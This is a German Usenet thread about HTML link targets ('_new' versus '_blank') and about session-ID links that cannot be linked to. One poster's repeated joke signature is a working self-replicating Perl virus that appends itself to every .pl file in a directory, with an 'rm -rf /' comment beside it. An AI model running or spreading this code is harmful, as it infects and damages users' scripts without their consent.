> (zB Textrep gleich -zig Seiten in Sekunden) zu arbeiten.

Es bläht die Seite, unter Umständen, ziemlich stark auf.

> Suche:   <a href="http://
> Ersetze: <a target="_top" href="http://
>                     °°°° oder was auch immer

Ist Geschmacksache, für kleinere Seiten aber wohl einfacher...

> Was ist eigentlich der Unterschied von "_new" (nie verwendet),
> das hier so angeprangert wird, gegenüber "_blank"?

_new oder _ich oder _mist oder _Matthias da wird der Klick immer in dem
gleichen Fenster geöffnet. Wenn du das zweite mal Klicks, wunderst du
dich vielleicht weil sich nichts tut, denn das Fenster ist ja in dem
Moment im Hintergrund und wird dort geladen.

_blank ist jedesmal ein neues Fenster, das sich vor deinen Augen öffnet.

Mit besten Grüßen aus-Stade.de

        »» Werner-aus-Stade.de ««
--
http://www.JobCentrum.de         (über 2222 Joblinks)
http://Werners-Index.de               (die Übersicht)

Matthias Opatz <grou...@onlinehome.de> writes:
> Was ist eigentlich der Unterschied von "_new" (nie verwendet),
> das hier so angeprangert wird, gegenüber "_blank"?

_blank ist im offiziellen HTML4-Standard ein reservierter Targetname und
oeffnet jedesmal ein neues Fenster.

_new ist nicht Teil des Standards und oeffnet je nach Browser und Kontext
manchmal ein neues Fenster, und manchmal wird einfach der Inhalt eines
existierenden Fensters oder eines existierenden Frames mit Namen "_new"
ueberschrieben.

[ http://www.w3.org/TR/REC-html40/types.html#h-6.16 ]
--
#!/usr/bin/perl -- -*     Nie wieder Nachtschicht!     *- -- lrep\nib\rsu\!#
use Inline C=>'void C(){int m,u,e=0;float l,_,I;for(;1840-e;putchar((++e>907
&&942>e?61-m:u)["\t*nl`-jp`Cqfymfvna+qfymfvN#gqbkmqfA"]^3))for(u=_=l=0;79-(m
  =e%80)&&I*l+_*_<6&&26-++u;_=2*l*_+e/80*.09-1,l=I)I=l*l-_*_-2+m/27.;}';&C

> Hallo Boris
> > ... Die Startseite wird dynamisch erzeugt, dabei
> > wird eine Session-ID vergeben, diese wird in alle Links eingearbeitet.

> Das setzt jedoch serverseitiges Skripting voraus, was ja nun mal nicht jeder
> Provider anbietet.  ...

Wenn jemand was abmahntaugliches anbieten kann/will, kann sich auch
einen Provider leisten, der sowas bereitstellt. Gegenbsp:
meteodata.at, mr-check.xipolis.net.

Gruß
        Wolfgang

Wolfgang Ewert <w.e...@gmx.de> wrote:
> Hallo Helma, Du teiltest mit:
> > Hallo Boris
> > > ... Die Startseite wird dynamisch erzeugt, dabei
> > > wird eine Session-ID vergeben, diese wird in alle Links eingearbeitet.
>
> > Das setzt jedoch serverseitiges Skripting voraus, was ja nun mal nicht jeder
> > Provider anbietet.  ...
>
> Wenn jemand was abmahntaugliches anbieten kann/will, kann sich auch
> einen Provider leisten, der sowas bereitstellt.

Warum ist das abmahntauglich?

--
#!/usr/bin/perl -- WARNING: Be careful. This is a virus!!! # rm -rf /
eval($0=q{$0="\neval(\$0=q{$0});\n";for(<*.pl>){open X,">>$_";print X
$0;close X;}print''.reverse"\nsuriv lreP trohs rehtona tsuJ>RH<\n"});
####################### http://learn.to/quote #######################

> Wolfgang Ewert <w.e...@gmx.de> wrote:
> > Hallo Helma, Du teiltest mit:

> > > Das setzt jedoch serverseitiges Skripting voraus, was ja nun mal nicht jeder

> > > Provider anbietet.  ...
> >
> > Wenn jemand was abmahntaugliches anbieten kann/will, kann sich auch
> > einen Provider leisten, der sowas bereitstellt.
>
> Warum ist das abmahntauglich?

Eigentlich "nicht verlinkbar". Besser?

Wolfgang

Soweit war es klar - doch gegen wessen Rechte verstößt man, wenn man
eine Seite technisch nicht verlinkbar macht?

--
#!/usr/bin/perl -- WARNING: Be careful. This is a virus!!! # rm -rf /
eval($0=q{$0="\neval(\$0=q{$0});\n";for(<*.pl>){open X,">>$_";print X
$0;close X;}print''.reverse"\nsuriv lreP trohs rehtona tsuJ>RH<\n"});
####################### http://learn.to/quote #######################

> Claus Färber schrieb:
> >
> > Dominik Boecker <dominik...@gmx.de> schrieb/wrote:
> > > Wenn ein Autor folgenden Link einfügen würde: <a
> > > href="http://www.dominik-boecker.de/" target="_new">Der Typ ist ein
> >                                                ~~~~~~
> > Argh. target="_blank" ist ja schon nervig, aber *das* ist eine
> > reine Katastrophe.
>
> Wer zwingt dich solche Seiten zu benutzen?

<disclaimer>Das ist auf meiner Seite nicht zu finden! :-)</disclaimer>

Dominik -> f'up2p
--
Die Härte der Butter ist proportional zur Weichheit des Brotes...

>> ist eine reine Katastrophe.
>
> Wer zwingt dich solche Seiten zu benutzen?

Sowas merkt man oft erst, wenn's zu spät ist. Ich sehe ja nicht  
bei jeder Seite erst mal in den Quelltext.

Claus
--
------------------------ http://www.faerber.muc.de/ ------------------------
OpenPGP: DSS 1024/639680F0 E7A8 AADB 6C8A 2450 67EA AF68 48A5 0E63 6396 80F0